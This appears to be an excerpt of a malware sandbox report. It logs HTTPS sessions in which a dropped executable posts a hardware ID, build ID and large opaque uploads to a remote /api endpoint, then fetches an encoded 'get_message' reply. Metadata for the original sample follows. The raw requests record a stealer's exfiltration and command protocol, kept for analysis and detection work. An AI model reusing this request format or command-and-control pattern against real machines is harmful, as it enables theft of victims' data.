2024-10-18 13:04:52 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=oVu0E9qEE3l6igEmGLJahzIyOc76s9q8jI5.nj__y8Q-1729256686-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: sergei-esenin.com
2024-10-18 13:04:52 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 32 32 41 44 35 42 37 39 43 35 42 36 34 31 33 37 36 39 30 31 39 38 31 44 32 38 33 38 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5922AD5B79C5B641376901981D28380B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-18 13:04:52 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-18 13:04:53 UTC	831	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qlg4jf0kma67t63hqr6jvg66qu; expires=Tue, 11 Feb 2025 06:51:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eMcappUq%2FL22tPH79BhbMyrbKnmW060EX0sn9o5c7ZyajW9eWhnInGP72Ev%2BgGVPQio1IZ%2B4dTl7BRp2acQaCtNhMYovcRRWA2VO5uL5RtNgF7cqFnKmwHUKGMo%2F%2Bb3MBypL7g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bc9b5d0a6c52-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:04:53 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-18 13:04:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50045	104.21.53.8	443	6376	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:55 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=oVu0E9qEE3l6igEmGLJahzIyOc76s9q8jI5.nj__y8Q-1729256686-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1279 Host: sergei-esenin.com
2024-10-18 13:04:55 UTC	1279	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 32 32 41 44 35 42 37 39 43 35 42 36 34 31 33 37 36 39 30 31 39 38 31 44 32 38 33 38 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5922AD5B79C5B641376901981D28380B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-18 13:04:56 UTC	827	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=64fvvsdch23hru9n0gjg058r2t; expires=Tue, 11 Feb 2025 06:51:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JlpN4q%2F4iYbCUc%2Bqw4eBhOUTtf0PXTzsQx4zdXN1uaGi2Pb31vexzPP3X%2BnsGo3MLBusrIsSjCUjEXoUBrhOXatXGioc4W5pidts69vCUtXt0UFReD0dEYz3uLjDaNrYQ6JPTQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bcaaedd30bdd-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:04:56 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-18 13:04:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50047	104.21.53.8	443	6376	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:57 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=oVu0E9qEE3l6igEmGLJahzIyOc76s9q8jI5.nj__y8Q-1729256686-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 561980 Host: sergei-esenin.com
2024-10-18 13:04:57 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 32 32 41 44 35 42 37 39 43 35 42 36 34 31 33 37 36 39 30 31 39 38 31 44 32 38 33 38 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5922AD5B79C5B641376901981D28380B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-18 13:04:57 UTC	15331	OUT	Data Raw: ba ee 03 15 da 57 fc a8 79 ef f3 38 f4 da f7 32 2f 2e 4e db f4 64 f1 20 92 95 08 dc 3e 5f f7 af 38 20 21 99 3b e6 34 a7 ea ad 4f fd f3 75 3a a0 fa 95 35 20 59 f2 13 02 02 40 df 85 85 1b b0 4d d5 b3 0a 3d af 21 e9 98 55 9e 20 a9 2b 73 47 40 b5 97 eb 85 4b cd 1e 37 de 1e ec 2d 5c fc df ad cc 8b 71 94 40 8f 77 21 df 2b 5f bd 71 18 0e be 54 64 3b 98 33 82 82 1f aa 5e 5e 7c cf 2d 69 bf 95 33 94 fa ac 85 a8 bb 5a 7a fb 6b 3c ef 42 1c 9f bf 9e 1f 06 d4 47 b7 a0 1d bd 36 3b 5b 04 f5 fc 4b db 93 f0 47 b4 b4 10 91 68 64 5e 9f 9d 04 05 9a af 05 e6 1c 43 88 31 45 d8 b1 fd f0 af 8e 5c f7 94 42 23 d3 28 cf 63 36 dc df ae 3d e5 b2 66 2f 1e ca e1 c3 e1 cc 9a e0 b8 ac ad bf 75 2e 5b a4 3f 7e 87 d6 91 be 2b 34 75 95 e8 58 50 62 0d 65 b7 2d fe 74 27 83 d9 33 c6 d4 cf cf f2 Data Ascii: Wy82/.Nd >_8 !;4Ou:5 Y@M=!U +sG@K7-\q@w!+_qTd;3^^\|-i3Zzk<BG6;[KGhd^C1E\B#(c6=f/u.[?~+4uXPbe-t'3
2024-10-18 13:04:57 UTC	15331	OUT	Data Raw: f5 c0 6e 1c f6 ed 35 a4 57 ca 79 f9 a7 39 86 bc ae 9a f8 df e9 a1 4f 87 eb ea 15 7c 3e ff a4 13 86 3f fe 20 1b 6c 0e 76 18 08 68 95 8b 26 50 9d c4 40 3e be f8 65 74 d1 59 80 93 0d e8 dd 1b c8 e8 32 3b bf 19 f8 d2 ef b4 7a 60 42 04 b9 74 27 9b e0 b8 78 38 b3 a6 b3 a6 22 c4 8f 67 69 64 98 47 ba bc ed ac 43 79 5b 4d c5 ed e8 a7 95 4c 96 3c 2d d4 e3 eb 69 fa cb 4f 92 55 82 72 2b 9d 34 01 c0 fe ca 41 2f 35 fd 56 74 d9 ac 33 1f 9e e5 3c d7 f1 ba c0 c1 c0 bd eb c2 20 9f 5b ae 17 01 35 13 62 3f fc 0f 60 a9 ea 70 bd 42 a6 22 08 c8 db cc fd ef 16 82 4b 6f 32 85 a8 bb 40 cb 2e 9c 04 c0 8b 23 61 3e 0e 8f 34 43 89 9b e4 f1 36 cb 46 f0 82 a7 1f d1 48 c4 c1 b5 39 90 83 cc 7f 70 9d 84 86 67 85 3c ca bc 5e 9e da 25 89 38 38 8f ec 50 99 be c0 05 39 2d 5a 7a 9c 4d 83 a2 8a Data Ascii: n5Wy9O\|>? lvh&P@>etY2;z`Bt'x8"gidGCy[ML<-iOUr+4A/5Vt3< [5b?`pB"Ko2@.#a>4C6FH9pg<^%88P9-ZzM
2024-10-18 13:04:57 UTC	15331	OUT	Data Raw: f9 3b 38 eb 86 07 e8 c1 9c 21 88 dd 44 3f bf c7 ef b5 5c f2 9c 91 d5 a2 1f 8b eb 92 84 b3 6e 74 dd d5 48 9c e1 27 0a 78 70 f2 3f 93 3a 3a 51 f0 46 5f 5a 7e df 1f 9a 74 3a 31 39 d8 73 e1 0d 5a 45 dd 38 3e 3d ce 7f f6 0c 99 7c 32 76 ae c1 1a 79 a5 87 40 2e f0 db f4 b2 b5 32 eb ba 9d 97 36 57 84 95 2f 5d b5 18 7c c7 57 37 a3 76 21 dd f8 83 6c 1e e7 8a 60 14 ae 60 dd a0 2d 3d 74 3f d6 9e 57 42 07 25 40 d1 d8 d8 77 bd cb 90 ef 99 e0 c3 b2 73 9d 92 e3 4c 61 e1 50 4b 2c f1 00 cd 6d 41 df 3c 04 c1 29 35 d5 5b 3c b4 83 3d 95 34 3f b5 85 97 d6 19 78 fd 6b ae 83 2f 3d 31 8d 53 7a ad e3 44 f9 4e 21 f5 9b f3 83 83 f3 3d ad 54 56 95 32 86 b7 db d1 80 d0 12 29 a5 a2 89 e3 f0 cd bb 41 74 81 2e 6f e0 44 e5 3a a4 80 2d e3 be 3b f4 fe f3 71 9a 2e d7 67 19 14 a6 88 d1 1d 27 Data Ascii: ;8!D?\ntH'xp?::QF_Z~t:19sZE8>=\|2vy@.26W/]\|W7v!l``-=t?WB%@wsLaPK,mA<)5[<=4?xk/=1SzDN!=TV2)At.oD:-;q.g'
2024-10-18 13:04:57 UTC	15331	OUT	Data Raw: 60 4c 73 ae 48 a3 3e 84 14 ee df 36 5a d4 e5 53 28 6d 89 3d 4e 51 d8 18 af 7e 56 be 25 d4 39 19 40 32 d0 6d 59 29 6a a9 52 c9 6c fb 37 78 c2 7f 0a 14 0f f3 90 c3 fd 63 b8 46 52 0b ad 43 b4 93 9f f9 35 4c b5 81 dc 16 03 83 ea 17 48 c8 7b 06 98 f8 58 8c 0e 67 8e 98 4a c3 61 7e d6 0e c5 a2 c3 e2 b1 bc 8d 55 b3 fa f6 2f 9f 1d bf bc 61 6f 13 62 99 74 6f aa fd 4b c7 7a 1e 4f 8b 4e 55 96 aa 7d 88 56 d9 9a d0 c6 c1 a3 a3 da aa 20 7b 21 de 51 6c d7 e5 75 ca 19 96 77 7c 53 9e 01 19 eb db 0b 78 36 1a 97 15 d9 f4 e3 33 1f d2 0b 8f 23 56 12 ed fe 02 4d eb eb fb 24 42 71 47 a4 48 ab 12 2d 7a ad b4 c3 1d 2a fb c1 01 cb ed eb e3 00 0d 5c 46 78 74 e0 b7 05 ae 09 f7 23 93 c1 f2 ac 07 9b c1 20 e4 17 0f c7 d2 a9 93 c1 03 4c 21 d6 a5 f1 f9 99 5b b6 ff 5f 0d f3 50 1c 74 07 ef Data Ascii: `LsH>6ZS(m=NQ~V%9@2mY)jRl7xcFRC5LH{XgJa~U/aobtoKzONU}V {!Qluw\|Sx63#VM$BqGH-z*\Fxt# L![_Pt
2024-10-18 13:04:57 UTC	15331	OUT	Data Raw: a7 51 bb be a5 d0 eb 49 1f dd f8 d9 7c e1 63 83 07 40 65 60 08 9a 96 60 c7 85 25 e2 dc 36 4e 4c 71 78 b6 82 60 27 5c 83 84 17 a5 c6 85 1a 54 86 d4 59 bf 81 77 16 a3 3c 7b 80 75 31 a9 6c 0b a5 c3 33 57 e3 49 3a 11 a2 e6 48 29 7a 58 fe 29 13 e2 52 ef 0b 86 83 b4 3f 71 b7 69 43 bc 20 b7 39 b0 3f 07 03 cf ca 51 9c 9f 80 05 1f 0e 58 5e 00 8a 68 db 90 dc 39 8e e9 92 2f ae 76 f3 df 43 c7 f2 8e 5e 44 20 13 66 e7 bc e2 02 ff 7b 35 e0 35 27 9b e6 6a 5e f0 56 79 37 36 00 c9 4d bd f9 b8 9a da 37 a9 85 d9 6e 8a fb 9a 87 09 1a 9c db b6 63 4c 43 8c e5 90 ec 38 f8 b9 7a 9c d2 07 9f 14 a0 00 b2 15 b3 a6 c1 ce 6a ce be 3f 38 86 e7 f7 0b 42 38 cc 85 34 db 33 bf 78 c0 25 8d f9 56 a8 fe c6 5d bb 5f ff 46 a7 fd 95 41 e1 98 2c a6 85 ee 95 e5 62 e6 4a 9a 7d d3 77 c1 74 1b 45 0a Data Ascii: QI\|c@e``%6NLqx`'\TYw<{u1l3WI:H)zX)R?qiC 9?QX^h9/vC^D f{55'j^Vy76M7ncLC8zj?8B843x%V]_FA,bJ}wtE
2024-10-18 13:04:57 UTC	15331	OUT	Data Raw: 68 bb 41 80 a7 de 75 3b 35 d0 ba ec 80 f5 8a 1a a4 46 c5 49 cb 5f d9 d7 13 7d d0 84 33 c9 0f 43 ad 16 c4 f6 f1 87 b4 fd 30 2d 09 31 31 01 b7 18 40 80 5e 1b 1f 35 fa 1e e0 a5 44 39 54 64 df 2e 8e 1e 39 f7 ac 56 68 eb fc 1e 92 2f 4e 2c 55 2f 80 73 f9 bf 33 39 6e f9 a0 51 3a b6 27 78 9f 95 48 2e 8e e6 df ee 69 75 20 69 71 f7 d8 b3 f7 92 8d d2 71 8d fd 31 d3 eb 1e 07 1d 9d 13 9c 80 95 63 0b ba 28 69 eb 1d 32 fd 2e c9 14 93 da fe b7 f8 f8 f1 87 32 1f 8e 9b 73 5a 53 ee f3 02 87 cd 3f 6f df cf be ba 00 3b 81 46 43 12 05 8e 35 fd 1c cb 85 66 b5 6c 9a fa 03 27 42 10 a5 83 1d c7 8a 79 cd 4a 5b dc 3e 8f 09 f9 ca 54 cf e4 1a 88 1d ae ae e2 de 1e 1e a1 70 9f d0 4c 8b de 57 8d 1a 2d 33 f6 45 02 86 63 b7 23 a0 3e 38 14 66 8e 08 5f 5d 15 3e 2c ca 8d 98 a8 fe 71 8f e2 df Data Ascii: hAu;5FI_}3C0-11@^5D9Td.9Vh/N,U/s39nQ:'xH.iu iqq1c(i2.2sZS?o;FC5fl'ByJ[>TpLW-3Ec#>8f_]>,q
2024-10-18 13:04:57 UTC	15331	OUT	Data Raw: d5 67 1b b8 e7 2c 9e 18 f3 0a 28 e6 e2 96 d9 4e 9a 0e 07 4e c1 de c5 40 24 b7 23 04 81 5a f5 e7 7b c0 49 7a f7 51 0e 9c 9a 74 ea 71 65 41 8e c0 36 70 f6 13 95 94 e9 40 7e dc d2 2a 7a e1 a8 51 ab 98 64 30 5e 29 da 4b 6a 9c 4d 17 2b 17 12 bf b5 3e f4 8f 27 ea 66 45 54 86 9c 91 bf ef b1 f2 9a eb 41 e6 a9 4f 8a 76 bf 56 04 92 fb 73 da 50 3e 10 3d 92 4e 47 b3 15 8e a2 8d 14 21 12 99 a3 2d be f1 c1 28 8a a2 cf b7 4c 8b 4c 3b 42 f0 fc e8 39 1c 6b 9a ee 09 9a e6 e1 e1 bd 68 bd 05 99 0a d4 5a a6 90 ec a6 c5 a9 ce e0 9f ed da 8f 1d ca cd 01 69 96 f5 9e 3a c8 80 d3 65 57 7f a8 62 f9 10 5b 48 7b df 1d 88 98 5f c7 41 a5 5a 8b 8f d4 09 1a a5 03 3d ba 85 d9 fd 02 cb 61 f6 ea 21 e3 d2 a4 88 1d 0e 2c 39 6e af ae 45 e6 c0 a8 f1 c2 ce ee cb ce 64 a1 ad 3e b5 38 3c 79 43 bc Data Ascii: g,(NN@$#Z{IzQtqeA6p@~*zQd0^)KjM+>'fETAOvVsP>=NG!-(LL;B9khZi:eWb[H{_AZ=a!,9nEd>8<yC
2024-10-18 13:04:57 UTC	15331	OUT	Data Raw: 65 24 5e 29 de f5 ff 98 04 67 f1 f2 07 c4 f6 63 dd 00 bf bf 6c bb 20 fc 70 19 08 f4 69 f8 7c c7 4d 10 21 84 5c 4a af 51 05 b8 7a 9c 2e ac f2 5d 2e ae ab 81 d2 26 99 2e 7a 37 ff 7b 29 8f 2b f3 da 7f 76 fb 2c 2a b6 54 18 56 5b 85 96 d3 f0 a5 61 e0 5f 7a ff 5a b9 73 b5 f1 ec e6 5d 5e 8f f2 9f 2e d7 69 cc e9 c2 76 9e 7d f2 e9 eb b4 00 b5 c6 48 ec 1c 49 de 89 00 08 f2 35 f8 54 7a 17 a2 e8 52 f6 fb b7 42 48 30 ce 88 f9 d7 94 54 62 d3 47 5b 89 5c 0a c8 42 22 2a f1 e5 84 93 bd a5 1d 3b 69 27 62 dc 85 f0 88 68 31 c6 af 06 8a 2e 80 97 29 55 4d 84 f1 81 3f 43 50 5c 30 52 ec 69 cc 95 25 53 18 bb 17 81 ca ce 5d ac bb 78 69 ff 65 59 92 3e 5b cd 4e 58 18 42 d4 18 34 e2 f9 d7 b0 0b 7a 33 71 1e 02 6e a3 91 2d c8 66 f9 d8 40 73 12 67 b1 43 42 76 30 27 22 b4 58 56 5d b9 ab Data Ascii: e$^)gcl pi\|M!\JQz.].&.z7{)+v,TV[a_zZs]^.iv}HI5TzRBH0TbG[\B";i'bh1.)UM?CP\0Ri%S]xieY>[NXB4z3qn-f@sgCBv0'"XV]
2024-10-18 13:04:57 UTC	15331	OUT	Data Raw: 9d 0f 10 98 e7 a4 0f 06 64 94 84 32 78 f3 c3 63 9b 70 c2 22 42 27 98 6d 42 e4 2c 3e f5 9b 1e 0a d9 25 5c 87 a9 ee bd 76 a4 ac 13 44 f7 33 ae d1 b8 e1 78 03 34 cf e7 cb 82 d3 a7 ae 2f 7c 5b 30 16 dc 54 01 7b 67 94 5a 94 18 af 43 6d fa b9 41 f0 45 cc 48 84 72 26 dd 02 89 e9 ab ac 5d f1 26 c6 72 e2 06 d9 68 96 9c 6c 04 ba 03 b2 03 b8 e6 ff 54 bf 47 b1 85 f1 33 e3 7f b9 d7 63 a0 28 c3 00 37 10 65 db 7f d2 06 31 63 81 b1 04 79 9f 9d a2 f5 11 d1 7d 75 76 7b 97 12 f5 38 13 86 69 c8 8b ae 3c 23 f3 e8 5f 95 d3 0c ee 74 f3 98 e9 8a a3 c3 7e f1 46 2f 63 22 38 fa 13 3a 34 48 8c 8d 78 6b 26 df fa 69 55 72 e1 9b 01 37 b8 30 b7 a6 24 f1 55 95 32 18 28 47 36 01 e1 3c bb fe d6 ba 2d c1 bc bc 0a 14 c3 79 f0 e6 30 9a dc 79 e2 6e b9 4b a0 ac f1 43 2d d8 7a c6 a4 82 36 57 be Data Ascii: d2xcp"B'mB,>%\vD3x4/\|[0T{gZCmAEHr&]&rhlTG3c(7e1cy}uv{8i<#_t~F/c"8:4Hxk&iUr70$U2(G6<-y0ynKC-z6W
2024-10-18 13:04:59 UTC	829	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rlr98alai2osb0tvq41us6isuq; expires=Tue, 11 Feb 2025 06:51:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3yuYKu7RayJo7f7gjNS8qffrS5g0SjQ1UqwIbhZzJPizvas2pBJ%2BdhDABSlO1uz%2B1lEyNjbm4OZCg%2FdowpYaFVRQW5RsEYBbZN%2B4bSZpnry3vH0DC5BJBuz6MvdhdLm4OTtAtg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bcb9ca0ee873-DFW alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50050	104.21.53.8	443	6376	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:05:00 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=oVu0E9qEE3l6igEmGLJahzIyOc76s9q8jI5.nj__y8Q-1729256686-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-18 13:05:00 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 35 39 32 32 41 44 35 42 37 39 43 35 42 36 34 31 33 37 36 39 30 31 39 38 31 44 32 38 33 38 30 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=5922AD5B79C5B641376901981D28380B
2024-10-18 13:05:01 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jcf5d0bact4sqve9ufc8uieqou; expires=Tue, 11 Feb 2025 06:51:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PaphoWe2C8Zk7Qj9Z0GapgX8Xd%2Fy30FbE0Fb39NYEcbU9LKD2657myZplqKvUiyRdRjsLl%2FPLAtFrQQ7QgFA1ybjudgTQb3XMAI5CIO0FInL1QBRawmT%2F82MoccM%2FrF8IoLLPQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bccbcb514696-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1171&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1077&delivery_rate=2309409&cwnd=249&unsent_bytes=0&cid=0f1c619b1da4e2c1&ts=466&x=0"
2024-10-18 13:05:01 UTC	311	IN	Data Raw: 31 33 30 0d 0a 66 64 71 32 48 6b 43 30 76 46 6c 6d 75 34 79 73 4b 35 32 67 55 41 77 71 49 46 4d 35 4e 50 74 4f 53 52 56 36 44 47 68 39 30 64 30 6d 6f 5a 52 72 59 6f 36 65 4d 52 4c 50 2f 4a 5a 33 73 76 78 2f 50 52 49 56 66 51 73 46 7a 6d 42 34 4a 45 6b 69 57 55 33 69 67 56 4b 70 77 6e 73 68 32 65 42 32 46 4e 72 69 79 45 54 77 6a 6a 56 30 54 77 4a 2f 47 31 4b 50 62 48 4d 6c 56 69 34 4e 58 2b 76 74 41 50 62 4e 50 44 57 57 68 6e 73 4f 7a 2f 6a 63 45 63 47 50 44 43 4d 62 47 47 59 58 42 73 70 37 5a 79 52 4c 50 30 5a 4d 34 65 34 68 39 64 74 33 4c 74 48 67 64 68 54 61 34 73 68 45 38 49 34 31 64 45 38 43 66 78 74 53 6a 32 78 7a 4a 56 59 75 44 56 2f 72 37 51 44 32 7a 54 77 31 6c 6f 5a 37 44 73 2f 34 33 42 48 42 6a 77 77 6a 47 78 68 6d 46 77 62 4b 65 32 63 6b 53 7a Data Ascii: 130fdq2HkC0vFlmu4ysK52gUAwqIFM5NPtOSRV6DGh90d0moZRrYo6eMRLP/JZ3svx/PRIVfQsFzmB4JEkiWU3igVKpwnsh2eB2FNriyETwjjV0TwJ/G1KPbHMlVi4NX+vtAPbNPDWWhnsOz/jcEcGPDCMbGGYXBsp7ZyRLP0ZM4e4h9dt3LtHgdhTa4shE8I41dE8CfxtSj2xzJVYuDV/r7QD2zTw1loZ7Ds/43BHBjwwjGxhmFwbKe2ckSz
2024-10-18 13:05:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:02:56
Start date:	18/10/2024
Path:	C:\Users\user\Desktop\h3yRbjNWk1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\h3yRbjNWk1.exe"
Imagebase:	0x7c0000
File size:	1'866'752 bytes
MD5 hash:	29C296C7B8335C9D6EE3215F5484C3E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
